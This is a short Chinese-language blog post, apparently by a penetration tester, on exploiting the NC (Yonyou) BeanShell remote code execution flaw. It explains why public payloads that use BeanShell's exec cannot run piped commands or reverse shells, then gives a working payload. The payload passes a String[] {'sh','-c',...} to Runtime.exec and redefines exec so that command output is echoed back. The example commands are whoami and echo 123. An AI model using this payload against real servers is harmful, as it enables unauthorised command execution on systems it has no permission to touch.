BeanShell RCE 排坑

最近在测试过程中遇到了NC BeanShell RCE漏洞,网络上大部分都是用BeanShell自带的 exec函数执行反弹shell命令,但无法直接执行反弹shell。

寻根溯源

exec函数在BeanShell中定义如下

Untitled

参数是一个 String类型,并且根据下面的描述是调用了 Runtime.getRuntime().exec()

搞过Java命令执行的都知道,Java如果要执行命令不能向python之类的直接通过字符串执行命令,需要将命令转化为 String[]类型

所以网络上大部分的poc/exp都是只能执行部分命令,无法执行带有各种管道、参数的命令。

由于在cmd与bash中各种命令的实现不同,比如在Linux中id是一个elf程序,而echo则更像是一种宏。且beanshell中原本exec定义是传入字符串,但具体的实现方法Runtime.getRuntime.exec允许传入字符串数组重载。所以我们只需要将exec重新实现一遍即可

解决方法

解决方法也非常简单,既然这里可以使用beanshell script进行命令执行,那我们直接自己用Runtime exec构造命令执行代码就完事了

1
2
String[] cmd = new String[] {"sh", "-c", "whoami"}
Runtime.getRuntime().exec(cmd)

用了这个payload发现命令可以执行了,但是网站没有回显,写成脚本也没有办法直接获取一些命令的结果,就还得通过生成文件再查看结果,太丑陋了!!

就想到如果我知道 exec方法的实现过程,我再根据这个实现过程去实现刚才的payload就可以完成结果回显。

直接去找beanshell项目,查找 exec方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/**
Start an external application using the Java Runtime exec() method.
Display any output to the standard BeanShell output using print().
*/

bsh.help.exec = "usage: exec( String arg )";

exec( String arg )
{
this.proc = Runtime.getRuntime().exec(arg);
this.din = new DataInputStream( proc.getInputStream() );
while( (line=din.readLine()) != null )
print(line);
}

Exp

1
2
3
4
5
6
7
8
9
exec( String[] arg )
{
this.proc = Runtime.getRuntime().exec(arg);
this.din = new DataInputStream( proc.getInputStream() );
while( (line=din.readLine()) != null )
print(line);
return this.proc.exitValue();
}
exec(new String[]{"sh", "-c","echo 123"})

1671776451881